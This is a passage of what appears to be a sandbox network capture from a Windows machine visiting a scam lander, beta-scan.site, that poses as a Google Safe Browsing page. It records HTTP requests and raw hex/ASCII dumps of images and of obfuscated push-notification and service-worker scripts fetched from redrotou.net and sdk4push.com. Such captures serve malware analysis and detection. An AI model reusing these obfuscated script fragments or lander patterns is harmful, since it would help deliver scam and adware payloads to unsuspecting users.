x:xmptk="Adobe XMP Core 6.0-c002 79.164360, 2020/02/13-01:07:22

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.17	55789	38.180.68.202	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:00 UTC	860	OUT	GET /landers/gsb/GSB/files/images/action_3.gif HTTP/1.1 Host: beta-scan.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id= Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
2024-10-03 15:19:00 UTC	277	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Thu, 03 Oct 2024 15:19:00 GMT Content-Type: image/gif Content-Length: 234 Last-Modified: Thu, 29 Aug 2024 10:49:04 GMT Connection: close ETag: "66d05220-ea" Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-10-03 15:19:00 UTC	234	IN	Data Raw: 47 49 46 38 39 61 10 00 10 00 c4 00 00 fe fe fe 19 17 18 70 70 70 04 03 03 30 2f 31 69 67 67 c0 c0 c1 7a 77 7a 47 46 49 fc fc fc f9 f9 f9 c6 c6 c6 5f 5c 61 a6 a7 aa 55 54 54 e9 e9 ea 80 7e 80 f7 f7 f7 ef ef ef e5 e5 e4 d6 d5 d6 d0 d0 d0 a2 9f a0 b6 b6 b7 d9 d9 d9 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 21 f9 04 00 00 00 00 00 2c 00 00 00 00 10 00 10 00 00 05 67 20 00 34 85 41 61 8f a8 ae 80 30 08 0e 52 40 86 c2 8a 47 50 10 41 1f 20 8b 5b 4e c0 f3 0d 10 12 d6 b0 e8 0b 58 1e 09 95 20 40 6c fa 04 11 69 e0 c0 34 1e a2 a2 29 71 60 0d 34 56 d3 43 8c 21 18 13 82 aa c2 e0 02 88 28 a2 0b 84 60 b2 92 1b 6e 80 7e 80 37 82 83 2a 09 85 86 00 0a 0c 03 7f 8a 00 09 10 04 15 90 21 00 3b Data Ascii: GIF89appp0/1iggzwzGFI_\aUTT~!,g 4Aa0R@GPA [NX @li4)q`4VC!(`n~7*!;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.17	55792	38.180.68.202	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:00 UTC	511	OUT	GET /landers/gsb/GSB/files/images/icon_2.png HTTP/1.1 Host: beta-scan.site Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
2024-10-03 15:19:00 UTC	279	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Thu, 03 Oct 2024 15:19:00 GMT Content-Type: image/png Content-Length: 2431 Last-Modified: Thu, 29 Aug 2024 10:49:04 GMT Connection: close ETag: "66d05220-97f" Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-10-03 15:19:00 UTC	2431	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 23 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 36 2e 30 2d 63 30 30 32 20 37 39 2e 31 36 34 33 36 30 2c 20 32 30 32 30 2f 30 32 2f 31 33 2d 30 31 3a 30 37 3a 32 32 20 20 Data Ascii: PNGIHDR22?tEXtSoftwareAdobe ImageReadyqe<#iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164360, 2020/02/13-01:07:22

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.17	55794	38.180.68.202	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:00 UTC	510	OUT	GET /landers/gsb/GSB/files/images/atten.png HTTP/1.1 Host: beta-scan.site Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
2024-10-03 15:19:00 UTC	279	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Thu, 03 Oct 2024 15:19:00 GMT Content-Type: image/png Content-Length: 2453 Last-Modified: Thu, 29 Aug 2024 10:49:04 GMT Connection: close ETag: "66d05220-995" Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-10-03 15:19:00 UTC	2453	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 64 00 00 00 59 08 06 00 00 00 c8 06 81 27 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 23 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 36 2e 30 2d 63 30 30 32 20 37 39 2e 31 36 34 33 36 30 2c 20 32 30 32 30 2f 30 32 2f 31 33 2d 30 31 3a 30 37 3a 32 32 20 20 Data Ascii: PNGIHDRdY'tEXtSoftwareAdobe ImageReadyqe<#iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164360, 2020/02/13-01:07:22

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.17	55791	139.45.197.251	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:00 UTC	582	OUT	GET /pfe/current/micro.tag.min.js?z=6508804&sw=/sw-check-permissions-fd64c.js HTTP/1.1 Host: redrotou.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://beta-scan.site/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:19:00 UTC	325	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Oct 2024 15:19:00 GMT Content-Type: application/javascript Content-Length: 45412 Last-Modified: Mon, 30 Sep 2024 15:57:34 GMT Connection: close ETag: "66faca6e-b164" Access-Control-Allow-Credentials: true Cache-Control: no-cache Pragma: no-cache Accept-Ranges: bytes
2024-10-03 15:19:00 UTC	16059	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 4b 29 7b 28 28 29 3d 3e 7b 27 75 73 65 20 73 74 72 69 63 74 27 3b 76 61 72 20 65 3d 4b 2e 4c 28 4b 2e 78 2c 28 65 2c 74 29 3d 3e 7b 4f 62 6a 65 63 74 5b 4b 2e 44 4b 5d 28 74 2c 4b 2e 76 4b 2c 4b 2e 4c 28 4b 2e 53 6b 2c 21 4b 2e 4e 29 29 2c 74 5b 4b 2e 41 4b 5d 3d 74 5b 4b 2e 65 4b 5d 3d 76 6f 69 64 20 4b 2e 4e 3b 63 6f 6e 73 74 20 72 3d 4b 2e 52 2c 6e 3d 5b 5d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 63 6f 6e 73 74 20 74 3d 77 69 6e 64 6f 77 5b 4b 2e 71 62 5d 5b 4b 2e 62 62 5d 5b 4b 2e 5a 4d 5d 5b 4b 2e 62 4d 5d 7c 7c 72 3b 5b 77 69 6e 64 6f 77 5b 74 5d 7c 7c 5b 5d 2c 6e 5d 5b 4b 2e 63 6b 5d 28 74 3d 3e 7b 63 6f 6e 73 74 20 72 3d 74 5b 4b 2e 68 53 5d 28 65 29 3b 72 3e 2d 4b 2e 74 72 26 26 74 5b 4b 2e 45 59 5d 28 72 2c 4b Data Ascii: (function(K){(()=>{'use strict';var e=K.L(K.x,(e,t)=>{Object[K.DK](t,K.vK,K.L(K.Sk,!K.N)),t[K.AK]=t[K.eK]=void K.N;const r=K.R,n=[];function o(e){const t=window[K.qb][K.bb][K.ZM][K.bM]\|\|r;[window[t]\|\|[],n][K.ck](t=>{const r=t[K.hS](e);r>-K.tr&&t[K.EY](r,K
2024-10-03 15:19:00 UTC	16384	IN	Data Raw: 2c 4b 2e 77 45 29 3a 4b 2e 4c 28 29 3b 72 65 74 75 72 6e 20 72 26 26 28 6f 5b 4b 2e 7a 59 5d 3d 72 29 2c 4b 2e 4c 28 4b 2e 62 4b 2c 6e 2c 4b 2e 6e 62 2c 65 2c 4b 2e 75 62 2c 4b 2e 7a 62 2c 4b 2e 61 62 2c 6f 29 7d 7d 2c 4b 2e 6c 2c 28 65 2c 74 2c 72 29 3d 3e 7b 4f 62 6a 65 63 74 5b 4b 2e 44 4b 5d 28 74 2c 4b 2e 76 4b 2c 4b 2e 4c 28 4b 2e 53 6b 2c 21 4b 2e 4e 29 29 2c 74 5b 4b 2e 51 72 5d 3d 76 6f 69 64 20 4b 2e 4e 3b 63 6f 6e 73 74 20 6e 3d 72 28 4b 2e 49 29 3b 74 5b 4b 2e 51 72 5d 3d 61 73 79 6e 63 20 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 2c 6f 29 7b 63 6f 6e 73 74 20 69 3d 28 4b 2e 4e 2c 6e 5b 4b 2e 42 6a 5d 29 28 74 2c 72 2c 6f 29 2c 61 3d 61 77 61 69 74 20 66 65 74 63 68 28 65 2c 69 29 3b 74 72 79 7b 72 65 74 75 72 6e 20 61 5b 4b 2e 53 45 5d 28 29 Data Ascii: ,K.wE):K.L();return r&&(o[K.zY]=r),K.L(K.bK,n,K.nb,e,K.ub,K.zb,K.ab,o)}},K.l,(e,t,r)=>{Object[K.DK](t,K.vK,K.L(K.Sk,!K.N)),t[K.Qr]=void K.N;const n=r(K.I);t[K.Qr]=async function(e,t,r,o){const i=(K.N,n[K.Bj])(t,r,o),a=await fetch(e,i);try{return a[K.SE]()
2024-10-03 15:19:00 UTC	12969	IN	Data Raw: 59 6b 5d 29 28 64 2c 74 2c 5f 29 29 3b 69 66 28 6f 5b 4b 2e 4d 72 5d 5b 4b 2e 57 4d 5d 28 4b 2e 4c 28 4b 2e 55 4d 2c 4b 2e 45 47 29 29 2c 69 26 26 6c 5b 4b 2e 44 4d 5d 26 26 77 69 6e 64 6f 77 5b 4b 2e 65 43 5d 29 7b 61 5b 4b 2e 6a 72 5d 5b 4b 2e 42 62 5d 28 4b 2e 4c 28 4b 2e 6a 4d 2c 4b 2e 6e 47 29 29 3b 74 72 79 7b 61 77 61 69 74 20 77 69 6e 64 6f 77 5b 4b 2e 65 43 5d 28 69 2c 64 5b 4b 2e 56 4b 5d 29 7d 63 61 74 63 68 28 65 29 7b 61 5b 4b 2e 6a 72 5d 5b 4b 2e 61 72 5d 28 4b 2e 4c 28 4b 2e 47 45 2c 4b 2e 51 68 2c 4b 2e 61 72 2c 65 2c 4b 2e 76 45 2c 4b 2e 4c 28 4b 2e 7a 4b 2c 4b 2e 5a 62 29 29 29 7d 7d 7d 65 6c 73 65 20 72 26 26 6f 5b 4b 2e 4d 72 5d 5b 4b 2e 57 4d 5d 28 4b 2e 4c 28 4b 2e 55 4d 2c 60 6e 6f 74 5f 67 72 61 6e 74 65 64 5f 73 77 5f 69 73 5f 61 Data Ascii: Yk])(d,t,_));if(o[K.Mr][K.WM](K.L(K.UM,K.EG)),i&&l[K.DM]&&window[K.eC]){a[K.jr][K.Bb](K.L(K.jM,K.nG));try{await window[K.eC](i,d[K.VK])}catch(e){a[K.jr][K.ar](K.L(K.GE,K.Qh,K.ar,e,K.vE,K.L(K.zK,K.Zb)))}}}else r&&o[K.Mr][K.WM](K.L(K.UM,`not_granted_sw_is_a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.17	55790	157.90.33.121	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:00 UTC	528	OUT	GET /f/sdk.js?z=1211351 HTTP/1.1 Host: sdk4push.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://beta-scan.site/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:19:00 UTC	237	IN	HTTP/1.1 200 OK Server: Angie Date: Thu, 03 Oct 2024 15:19:00 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 53627 Connection: close Cache-Control: no-cache, max-age=0, must-revalidate, proxy-revalidate
2024-10-03 15:19:00 UTC	16147	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 73 63 72 69 70 74 50 61 72 61 6d 73 29 20 7b 76 61 72 20 61 32 5f 30 78 36 38 30 66 3d 5b 22 7a 78 7a 4c 42 4e 72 76 75 4b 57 3d 22 2c 22 79 78 6a 4a 41 67 4c 30 7a 77 6e 30 44 78 6a 4c 22 2c 22 43 4d 66 55 7a 67 39 54 22 2c 22 6c 63 62 4f 44 68 72 57 6f 49 61 3d 22 2c 22 7a 32 76 30 73 77 35 5a 44 67 66 53 42 65 6e 56 42 4e 72 4c 45 68 71 3d 22 2c 22 30 6a 2f 71 56 54 63 36 30 6c 64 71 54 59 64 72 47 39 63 59 30 6c 78 71 54 6e 63 2b 30 6c 5a 71 55 39 63 31 30 6c 33 71 55 6e 63 35 22 2c 22 41 77 35 55 7a 78 6a 69 76 65 31 6d 22 2c 22 42 33 62 4c 42 4c 72 59 79 77 6e 52 72 65 69 3d 22 2c 22 7a 67 76 4d 79 78 76 53 44 61 3d 3d 22 2c 22 79 32 66 4a 41 67 75 3d 22 2c 22 43 4d 76 30 44 78 6a 55 22 2c 22 43 32 48 56 44 77 58 4b 75 Data Ascii: (function(scriptParams) {var a2_0x680f=["zxzLBNrvuKW=","yxjJAgL0zwn0DxjL","CMfUzg9T","lcbODhrWoIa=","z2v0sw5ZDgfSBenVBNrLEhq=","0j/qVTc60ldqTYdrG9cY0lxqTnc+0lZqU9c10l3qUnc5","Aw5Uzxjive1m","B3bLBLrYywnRrei=","zgvMyxvSDa==","y2fJAgu=","CMv0DxjU","C2HVDwXKu
2024-10-03 15:19:00 UTC	16384	IN	Data Raw: 65 22 29 5d 28 6e 29 29 7d 63 61 74 63 68 28 6e 29 7b 61 28 6e 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 76 61 72 20 72 3d 61 32 5f 30 78 34 31 62 30 3b 74 72 79 7b 75 28 69 5b 72 28 22 30 78 33 62 22 29 5d 28 6e 29 29 7d 63 61 74 63 68 28 6e 29 7b 61 28 6e 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 75 28 6e 29 7b 76 61 72 20 72 3d 61 32 5f 30 78 34 31 62 30 3b 6e 5b 72 28 22 30 78 62 65 22 29 5d 3f 78 28 6e 5b 72 28 22 30 78 37 37 22 29 5d 29 3a 74 28 6e 5b 72 28 22 30 78 37 37 22 29 5d 29 5b 72 28 22 30 78 35 65 22 29 5d 28 63 2c 6f 29 7d 75 28 28 69 3d 69 5b 65 28 22 30 78 61 62 22 29 5d 28 6e 2c 72 7c 7c 5b 5d 29 29 5b 65 28 22 30 78 38 65 22 29 5d 28 29 29 7d 29 29 7d 2c 63 3d 74 68 69 73 26 26 74 68 69 73 5b 74 28 22 30 78 31 38 22 29 5d 7c 7c 66 Data Ascii: e")](n))}catch(n){a(n)}}function o(n){var r=a2_0x41b0;try{u(i[r("0x3b")](n))}catch(n){a(n)}}function u(n){var r=a2_0x41b0;n[r("0xbe")]?x(n[r("0x77")]):t(n[r("0x77")])[r("0x5e")](c,o)}u((i=i[e("0xab")](n,r\|\|[]))[e("0x8e")]())}))},c=this&&this[t("0x18")]\|\|f
2024-10-03 15:19:00 UTC	16384	IN	Data Raw: 6f 66 20 53 79 6d 62 6f 6c 3d 3d 3d 78 28 22 30 78 32 22 29 26 26 28 75 5b 53 79 6d 62 6f 6c 5b 22 69 74 65 72 61 74 6f 72 22 5d 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 7d 29 2c 75 3b 66 75 6e 63 74 69 6f 6e 20 73 28 6e 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 72 29 7b 72 65 74 75 72 6e 20 76 28 5b 6e 2c 72 5d 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 76 28 69 29 7b 76 61 72 20 74 3d 78 3b 69 66 28 65 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 74 28 22 30 78 35 31 22 29 29 3b 77 68 69 6c 65 28 75 26 26 28 75 3d 30 2c 69 5b 30 5d 26 26 28 61 3d 30 29 29 2c 61 29 74 72 79 7b 69 66 28 65 3d 31 2c 63 26 26 28 6f 3d 69 5b 30 5d 26 32 3f 63 5b 74 28 22 30 78 64 39 22 29 5d 3a 69 5b 30 5d 3f 63 5b 74 28 Data Ascii: of Symbol===x("0x2")&&(u[Symbol["iterator"]]=function(){return this}),u;function s(n){return function(r){return v([n,r])}}function v(i){var t=x;if(e)throw new TypeError(t("0x51"));while(u&&(u=0,i[0]&&(a=0)),a)try{if(e=1,c&&(o=i[0]&2?c[t("0xd9")]:i[0]?c[t(
2024-10-03 15:19:00 UTC	4712	IN	Data Raw: 70 74 22 5d 3d 6c 2c 79 5b 22 64 65 22 5d 3d 64 2c 79 5b 22 66 72 22 5d 3d 68 2c 79 5b 22 69 74 22 5d 3d 43 2c 79 5b 22 69 64 22 5d 3d 47 2c 79 5b 22 74 68 22 5d 3d 67 3b 76 61 72 20 7a 3d 79 7d 2c 72 5b 6e 28 22 30 78 62 62 22 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 72 2c 78 29 7b 76 61 72 20 69 3d 6e 3b 78 5b 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 5d 3d 21 21 5b 5d 2c 78 5b 22 73 6c 65 65 70 22 5d 3d 78 5b 69 28 22 30 78 39 35 22 29 5d 3d 78 5b 69 28 22 30 78 64 61 22 29 5d 3d 78 5b 22 69 73 53 61 66 61 72 69 22 5d 3d 76 6f 69 64 20 30 3b 66 75 6e 63 74 69 6f 6e 20 74 28 29 7b 76 61 72 20 6e 3d 69 3b 72 65 74 75 72 6e 20 6e 61 76 69 67 61 74 6f 72 5b 6e 28 22 30 78 65 38 22 29 5d 26 26 6e 61 76 69 67 61 74 6f 72 5b 6e 28 22 30 78 65 38 22 29 5d 5b 22 69 6e 64 Data Ascii: pt"]=l,y["de"]=d,y["fr"]=h,y["it"]=C,y["id"]=G,y["th"]=g;var z=y},r[n("0xbb")]=function(r,x){var i=n;x["__esModule"]=!![],x["sleep"]=x[i("0x95")]=x[i("0xda")]=x["isSafari"]=void 0;function t(){var n=i;return navigator[n("0xe8")]&&navigator[n("0xe8")]["ind

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.17	55793	172.217.18.14	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:00 UTC	667	OUT	GET /translate_a/element.js?cb=googleTranslateElementInit HTTP/1.1 Host: translate.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlaHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://beta-scan.site/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:19:00 UTC	745	IN	HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 03 Oct 2024 15:19:00 GMT Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin-allow-popups Server: ESF X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Set-Cookie: __Secure-BUCKET=CMsB; Domain=.google.com; Expires=Tue, 01-Apr-2025 15:19:00 GMT; Path=/; Secure; HttpOnly; SameSite=lax Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site,Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-03 15:19:00 UTC	645	IN	Data Raw: 38 30 30 30 0d 0a 0a 20 20 20 20 2f 2f 20 67 6f 2f 6d 73 73 2d 73 65 74 75 70 23 37 2d 6c 6f 61 64 2d 74 68 65 2d 6a 73 2d 6f 72 2d 63 73 73 2d 66 72 6f 6d 2d 79 6f 75 72 2d 69 6e 69 74 69 61 6c 2d 70 61 67 65 0a 20 20 20 20 69 66 28 21 77 69 6e 64 6f 77 5b 27 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 27 5d 29 20 7b 0a 20 20 20 20 20 20 63 6f 6e 73 74 20 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 20 3d 20 77 69 6e 64 6f 77 5b 27 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 27 5d 20 7c 7c 20 66 75 6e 63 74 69 6f 6e 28 65 29 20 7b 0a 20 20 20 20 20 20 20 20 74 68 72 6f 77 20 65 3b 0a 20 20 20 20 20 20 7d 3b 0a 20 20 20 20 20 20 77 69 6e 64 6f 77 5b 27 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 27 5d 20 3d 20 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 3b 0a 20 20 Data Ascii: 8000 // go/mss-setup#7-load-the-js-or-css-from-your-initial-page if(!window['_DumpException']) { const _DumpException = window['_DumpException'] \|\| function(e) { throw e; }; window['_DumpException'] = _DumpException;
2024-10-03 15:19:00 UTC	1390	IN	Data Raw: 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 0a 2a 2f 0a 76 61 72 20 62 61 2c 66 61 2c 6e 61 2c 71 61 2c 72 61 2c 74 61 2c 41 61 2c 52 61 2c 53 61 2c 56 61 2c 57 61 2c 64 62 2c 6a 62 2c 6b 62 2c 6c 62 2c 77 2c 6e 62 2c 6f 62 2c 71 62 2c 72 62 2c 73 62 2c 75 62 2c 79 62 3b 5f 2e 61 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 45 72 72 6f 72 2e 63 61 70 74 75 72 65 53 74 61 63 6b 54 72 61 63 65 29 45 72 72 6f 72 2e 63 61 70 74 75 72 65 53 74 61 63 6b 54 72 61 63 65 28 74 68 69 73 2c 5f 2e 61 61 29 3b 65 6c 73 65 7b 76 61 72 20 63 3d 45 72 72 6f 72 28 29 2e 73 74 61 63 6b 3b 63 26 26 28 74 68 69 73 2e 73 74 61 63 6b 3d 63 29 7d 61 26 26 28 74 68 69 73 2e 6d 65 73 73 61 67 65 3d 53 74 72 69 6e 67 28 61 29 29 3b 62 21 3d 3d 76 Data Ascii: Identifier: Apache-2.0*/var ba,fa,na,qa,ra,ta,Aa,Ra,Sa,Va,Wa,db,jb,kb,lb,w,nb,ob,qb,rb,sb,ub,yb;_.aa=function(a,b){if(Error.captureStackTrace)Error.captureStackTrace(this,_.aa);else{var c=Error().stack;c&&(this.stack=c)}a&&(this.message=String(a));b!==v
2024-10-03 15:19:00 UTC	1390	IN	Data Raw: 7b 72 65 74 75 72 6e 20 63 7d 3b 61 3d 73 61 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 28 22 67 6f 6f 67 23 68 74 6d 6c 22 2c 7b 63 72 65 61 74 65 48 54 4d 4c 3a 62 2c 63 72 65 61 74 65 53 63 72 69 70 74 3a 62 2c 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 3a 62 7d 29 7d 63 61 74 63 68 28 63 29 7b 7d 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 76 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 75 61 3d 3d 3d 76 6f 69 64 20 30 26 26 28 75 61 3d 74 61 28 29 29 3b 72 65 74 75 72 6e 20 75 61 7d 3b 5f 2e 78 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 5f 2e 76 61 28 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 77 61 28 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 29 7d 3b 5f 2e 79 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 Data Ascii: {return c};a=sa.createPolicy("goog#html",{createHTML:b,createScript:b,createScriptURL:b})}catch(c){}return a};_.va=function(){ua===void 0&&(ua=ta());return ua};_.xa=function(a){var b=_.va();return new _.wa(b?b.createScriptURL(a):a)};_.ya=function(a){if(a
